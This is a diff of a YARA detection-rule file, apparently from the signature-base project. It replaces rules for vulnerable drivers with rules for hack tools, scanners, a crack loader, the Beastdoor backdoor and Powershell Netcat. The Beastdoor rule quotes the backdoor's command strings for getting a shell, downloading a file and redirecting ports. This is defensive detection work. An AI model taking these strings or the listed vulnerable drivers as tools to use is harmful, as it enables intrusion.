+		logic_hash = "5cb4e4b87eaf166c85d23114f5abc10ef83b4a29968bf6fef4b3fce7ff2787fd"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0031003000310036 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "This program was made by Volker Voss"
+		$s1 = "JiBOo~SSB"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_9491 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Scanarator_Iis
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
-		author = "Florian Roth"
-		id = "1ac2562c-9d06-5372-bc45-e9491a7bfeea"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file iis.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "a467147b-53c8-53db-aa33-5f0e4e066988"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5372-L5392"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "94911fe6f2aba9683b10353094caf71ee4a882de63b4620797629d79f18feec5"
-		logic_hash = "45bd63fd965c9c40b0d687af623f58922c708608a25e58b2c1ad436312e6284d"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L422-L433"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3a8fc02c62c8dd65e038cc03e5451b6e"
+		logic_hash = "092cb902e10624b207b7932e6b3c1fe2277ed1d183e5de9ee4d07d8548e90ab6"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$s0 = "example: iis 10.10.10.10"
+		$s1 = "send error"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Fujitsulimited_Advdrvsys_Microsoftrwindowsroperatingsystem_04A8 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Stealth_Stealth
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ADV64DRV.sys"
-		author = "Florian Roth"
-		id = "fa878fd1-9d19-561e-bd01-b4693a48f480"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file Stealth.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "5f45882e-3e27-596d-8725-fad380e1c297"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5395-L5414"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "04a85e359525d662338cae86c1e59b1d7aa9bd12b920e8067503723dc1e03162"
-		logic_hash = "7b98ca983166c65065b6fe146957ac438426c0ad2566016e0a61ca3be68f163e"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L435-L446"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8ce3a386ce0eae10fc2ce0177bbc8ffa"
+		logic_hash = "e210b1a553549c22f66511dfc9d0d3f5b17f02981b9e9915827bc909f34b3262"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00460055004a00490054005300550020004c0049004d0049005400450044002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f006600740052002000570069006e0064006f0077007300520020004f007000650072006100740069006e0067002000530079007300740065006d }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002800430029002000460055004a00490054005300550020004c0049004d004900540045004400200032003000300035 }
+		$s3 = "<table width=\"60%\" bgcolor=\"black\" cellspacing=\"0\" cellpadding=\"2\" border=\"1\" bordercolor=\"white\"><tr><td>"
+		$s6 = "This tool may be used only by system administrators. I am not responsible for "
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_FF96 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Angry_IP_Scanner_V2_08_Ipscan
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
-		author = "Florian Roth"
-		id = "aa757ead-9ab0-5c5f-ba50-f310130e3d08"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file ipscan.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "5fbcbb95-6cd4-5587-bf44-5b5ed133ce5e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5417-L5437"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ff9623317287358440ec67da9ba79994d9b17b99ffdd709ec836478fe1fc22a5"
-		logic_hash = "d47eec2132d31ce4f4009456805e7b75e43054edf13c3f056416638cf3928e41"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L448-L460"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "70cf2c09776a29c3e837cb79d291514a"
+		logic_hash = "1b50856ad35c146a684298a86f1629c45996ab08ffae8486a388805262ec2367"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003900200041004d0044002c00200049006e0063002e }
+		$s0 = "_H/EnumDisplay/"
+		$s5 = "ECTED.MSVCRT0x"
+		$s8 = "NotSupported7"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_7795 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Crack_Loader
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
-		author = "Florian Roth"
-		id = "84866b07-19cc-5c75-acc3-7640adcf68e8"
-		date = "2023-06-14"
+		description = "Auto-generated rule on file Loader.exe"
+		author = "yarGen Yara Rule Generator by Florian Roth"
+		id = "0c4c7b69-7739-5c1b-8c7c-4aaa724e4455"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5440-L5460"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "77950e2a40ac0447ae7ee1ee3ef1242ce22796a157074e6f04e345b1956e143c"
-		logic_hash = "f59507fdf64c5eca6139f149595b9919704fead73d4e66c93630ca6cf9582a82"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L462-L473"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f4f79358a6c600c1f0ba1f7e4879a16d"
+		logic_hash = "3380ace7c34c15dfd9a9625c8c4a1ed7e35c1cf3c2eca9b1e00dd0092d256150"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 }
+		$s0 = "NeoWait.exe"
+		$s1 = "RRRRRRRW"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Sisoftware_Sandra_Sisoftwaresandra_B019 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_GUI_Scanner
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
-		author = "Florian Roth"
-		id = "4edbf604-a98c-5877-8385-eff85575daa4"
-		date = "2023-06-14"
+		description = "Detects an unknown GUI scanner tool - CN background"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ca88d4d3-5d18-5856-874f-e50deceef54f"
+		date = "2014-04-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5463-L5483"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b019ebd77ac19cdd72bba3318032752649bd56a7576723a8ae1cccd70ee1e61a"
-		logic_hash = "1ef6c4c199fad08babe5f4484444c157dfcfea891f392682689cf2df34088179"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L475-L492"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3c67bbb1911cdaef5e675c56145e1112"
+		logic_hash = "f9281277ad7058527699d1f5037bb78be1363c90f38e2e399592c58f0b313bd7"
+		score = 65
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003300320020007800380036002900280055006e00690063006f006400650029 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "good.txt" fullword ascii
+		$s2 = "IP.txt" fullword ascii
+		$s3 = "xiaoyuer" fullword ascii
+		$s0w = "ssh(" wide
+		$s1w = ").exe" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Advancedmicrodevicesinc_Amdpowerprofilersys_Amduprof_0AF5 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Packed_Scanner : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDPowerProfiler.sys"
-		author = "Florian Roth"
-		id = "6475e885-711f-53ea-9ab6-cdb45b3a0917"
-		date = "2023-06-14"
+		description = "Suspiciously packed executable"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a11c4ee6-7244-5601-af26-a45f9fdc8e1b"
+		date = "2014-06-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5486-L5506"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05"
-		logic_hash = "ac1fd75b411624e0f4cd6d455a61e1ac3c08d421182c4f9eb90698ee29eff77a"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L494-L510"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6323b51c116a77e3fba98f7bb7ff4ac6"
+		logic_hash = "0d9178ec65029e4ce8d4c3cc28ebd041c612f3a48f095b60c7a4515de03cccf4"
 		score = 40
-		quality = 85
+		quality = 83
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d004400200050006f007700650072002000500072006f00660069006c0069006e00670020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0034002e003400390033002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d00440020007500500072006f0066 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020003200300032003100200041004d004400200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s1 = "kernel32.dll" fullword ascii
+		$s2 = "CRTDLL.DLL" fullword ascii
+		$s3 = "__GetMainArgs" fullword ascii
+		$s4 = "WS2_32.DLL" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		all of them and filesize <180KB and filesize >70KB
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Realtek_Rtkiosys_Realtekiodriver_074A : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Tiny_Network_Tool_Generic : FILE
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
-		author = "Florian Roth"
-		id = "2cb53106-382d-5645-a72c-28a64112bb47"
-		date = "2023-06-14"
+		description = "Tiny tool with suspicious function imports. (Rule based on WinEggDrop Scanner samples)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "04b1c2c6-605c-52d5-aa07-f3b77a6c4593"
+		date = "2014-08-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5509-L5529"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "074ae477c8c7ae76c6f2b0bf77ac17935a8e8ee51b52155d2821d93ab30f3761"
-		logic_hash = "b76e7a17aa7da3d6a1972a40fbcaa4ca63edb4220b07d807ee54fea649b13a6d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L512-L545"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "efd04ee3a7bb120cdff00369e1856dd03ec9db84e1fb3196bf5e1a8ebd302802"
 		score = 40
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash0 = "9e1ab25a937f39ed8b031cd8cfbc4c07"
+		hash1 = "cafc31d39c1e4721af3ba519759884b9"
+		hash2 = "8e635b9a1e5aa5ef84bfa619bd2a1f92"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e0032003000310037 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 }
+		$s0 = "KERNEL32.DLL" fullword ascii
+		$s1 = "CRTDLL.DLL" fullword ascii
+		$s3 = "LoadLibraryA" fullword ascii
+		$s4 = "GetProcAddress" fullword ascii
+		$y1 = "WININET.DLL" fullword ascii
+		$y2 = "atoi" fullword ascii
+		$x1 = "ADVAPI32.DLL" fullword ascii
+		$x2 = "USER32.DLL" fullword ascii
+		$x3 = "wsock32.dll" fullword ascii
+		$x4 = "FreeSid" fullword ascii
+		$x5 = "atoi" fullword ascii
+		$z1 = "ADVAPI32.DLL" fullword ascii
+		$z2 = "USER32.DLL" fullword ascii
+		$z3 = "FreeSid" fullword ascii
+		$z4 = "ToAscii" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		uint16(0)==0x5a4d and all of ($s*) and ( all of ($y*) or all of ($x*) or all of ($z*)) and filesize <15KB
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_98B7 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Beastdoor_Backdoor
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
-		author = "Florian Roth"
-		id = "f827cf5e-23c7-5db8-9949-14382788bbdd"
-		date = "2023-06-14"
+		description = "Detects the backdoor Beastdoor"
+		author = "Florian Roth (Nextron Systems)"
+		id = "64f67233-6677-53c8-b212-f1a425f78803"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5532-L5552"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "98b734dda78c16ebcaa4afeb31007926542b63b2f163b2f733fa0d00dbb344d8"
-		logic_hash = "db97be0a54fc813022a609ffdabe0e0cff306ef894c560f75a43a4aa890590d5"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L547-L567"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5ab10dda548cb821d7c15ebcd0a9f1ec6ef1a14abcc8ad4056944d060c49535a"
+		logic_hash = "35aa5d66c0fd4bf1995fc23a68283e8a28f31b5a1e1f3b742dd0ab89c48bf403"
+		score = 55
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f0072002000440065006200750067004c00450044 }
-		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
-		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
-		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
-		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
-		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
+		$s0 = "Redirect SPort RemoteHost RPort  -->Port Redirector" fullword
+		$s1 = "POST /scripts/WWPMsg.dll HTTP/1.0" fullword
+		$s2 = "http://IP/a.exe a.exe            -->Download A File" fullword
+		$s7 = "Host: wwp.mirabilis.com:80" fullword
+		$s8 = "%s -Set Port PortNumber              -->Set The Service Port" fullword
+		$s11 = "Shell                            -->Get A Shell" fullword
+		$s14 = "DeleteService ServiceName        -->Delete A Service" fullword
+		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword
+		$s17 = "%s -Set ServiceName ServiceName      -->Set The Service Name" fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and all of them
+		2 of them
 }
-rule SIGNATURE_BASE_PUA_VULN_Driver_Zemanaltd_Zam_9A95 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Powershell_Netcat
 {
 	meta:
-		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
-		author = "Florian Roth"
-		id = "de7c3f85-1101-58c2-882b-e7e59d95fdd8"
-		date = "2023-06-14"
+		description = "Detects a Powershell version of the Netcat network hacking tool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e4b018c0-3214-5102-93b1-6a048324f9dd"
+		date = "2014-10-10"
 		modified = "2023-12-05"
-		reference = "https://github.com/magicsword-io/LOLDrivers"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/yara-rules_vuln_drivers_strict.yar#L5555-L5572"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9a95a70f68144980f2d684e96c79bdc93ebca1587f46afae6962478631e85d0c"
-		logic_hash = "3b699e2afa7e4c4284d725cc159b46a609e4020703bc0efc7ba6563084d67f0e"
-		score = 40
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L569-L583"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff9d7c3e83fd27620559306c07556ce7afd1ba7a5db5f5c21ad0841d58b85014"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
